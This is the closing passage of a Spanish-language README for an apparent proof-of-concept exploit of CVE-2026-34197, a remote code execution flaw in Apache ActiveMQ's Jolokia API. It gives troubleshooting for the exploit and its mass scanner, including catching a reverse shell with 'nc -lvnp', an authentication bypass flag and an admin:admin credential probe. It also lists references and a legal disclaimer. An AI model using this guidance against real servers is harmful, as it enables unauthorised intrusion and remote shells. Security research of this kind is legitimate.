| `No payload request received within 15s` | El objetivo no puede alcanzar tu ATTACKER_IP | Verifica la conectividad (consulta la [guía de ATTACKER_IP](#understanding-attacker_ip---lhost)) |
| `Authentication failed (401)` | Credenciales incorrectas | Prueba con `--no-auth` (ActiveMQ 6.0.0-6.1.1) o encuentra las credenciales correctas |
| `Access forbidden (403)` | La API de Jolokia está restringida | El objetivo puede tener ACLs en `/api/jolokia/` — no explotable de forma remota |
| `Connection error` / `Could not connect` | El objetivo está caído o el puerto es incorrecto | Verifica que `http://TARGET:8161/` sea accesible |
| `Jolokia status=500: could not be registered in JMX` | El conector del exploit anterior sigue registrado | El exploit reintenta automáticamente con un nuevo nombre aleatorio; inténtalo de nuevo |
| La reverse shell no conecta de vuelta | IP diferente en `-l` vs. el comando de shell, o el puerto no está escuchando | Asegúrate de usar la misma IP en todas partes; inicia `nc -lvnp PORT` antes de explotar |
| `No output received within 10s` | El objetivo carece de `curl` y `wget`, o el comando no tiene salida estándar | El RCE funcionó igualmente — usa una reverse shell para interacción completa |
| La captura de salida muestra un resultado vacío | El comando no produjo salida (p. ej., `touch /tmp/test`) | Es esperado para comandos sin salida estándar; usa `ls /tmp/test` para verificar |
| `OSError: Address already in use` en el puerto 8888 | Otro proceso o una ejecución anterior está usando el puerto | Usa `-lp 9999` (o cualquier puerto libre), o mata el proceso que bloquea |
| La Fase 1 de `version_check.py` es lenta | Pocos hilos o alta latencia de red | Aumenta `--threads 20` o `--threads 30` |
| `version_check.py` muestra `[VULNERABLE]` pero la Fase 2 falla | El objetivo no puede alcanzar tu IP, o el firewall bloquea el HTTP saliente | Verifica ATTACKER_IP; prueba con `--wait 30` para redes lentas |
| `version_check.py` muestra `No Jolokia` para todos los objetivos | La API de Jolokia está deshabilitada o en una ruta no estándar | Verifica manualmente con `curl -u admin:admin http://TARGET:8161/api/jolokia/` |
---
## Referencias
| Recurso | Enlace |
|----------|------|
| NVD | [CVE-2026-34197](https://nvd.nist.gov/vuln/detail/CVE-2026-34197) |
| Horizon3 Research | [Análisis técnico](https://horizon3.ai/attack-research/disclosures/cve-2026-34197-activemq-rce-jolokia/) |
| Aviso de Apache | [Aviso de seguridad](https://activemq.apache.org/security-advisories.data/CVE-2026-34197-announcement.txt) |
| CVE relacionado | [CVE-2024-32114 — Jolokia sin autenticación](https://nvd.nist.gov/vuln/detail/CVE-2024-32114) |
| CVE relacionado | [CVE-2023-46604 — RCE en OpenWire](https://nvd.nist.gov/vuln/detail/CVE-2023-46604) |
---
## Aviso legal
> [!WARNING]
> Esta prueba de concepto se proporciona **estrictamente con fines educativos y de investigación de seguridad autorizada**. El uso no autorizado de esta herramienta contra sistemas que no posees o para los que no tienes permiso explícito de prueba es **ilegal**. El autor no asume ninguna responsabilidad por el mal uso.
---
<p align="center">
<a href="https://github.com/KONDORDEVSECURITYCORP">
<img src="https://img.shields.io/badge/GitHub-KONDORDEVSECURITYCORP-181717?style=for-the-badge&logo=github" alt="GitHub"/>
</a>
<a href="https://t.me/KONDORDEVSECURITY">
<img src="https://img.shields.io/badge/Telegram-KONDORDEVSECURITY-26A5E4?style=for-the-badge&logo=telegram&logoColor=white" alt="Telegram"/>
</a>
</p>
<p align="center">
<sub>Desarrollado con experiencia por <b>KONDOR DEV SECURITY CORP</b></sub><br>
<sub>Licencia MIT © 2026</sub>
</p>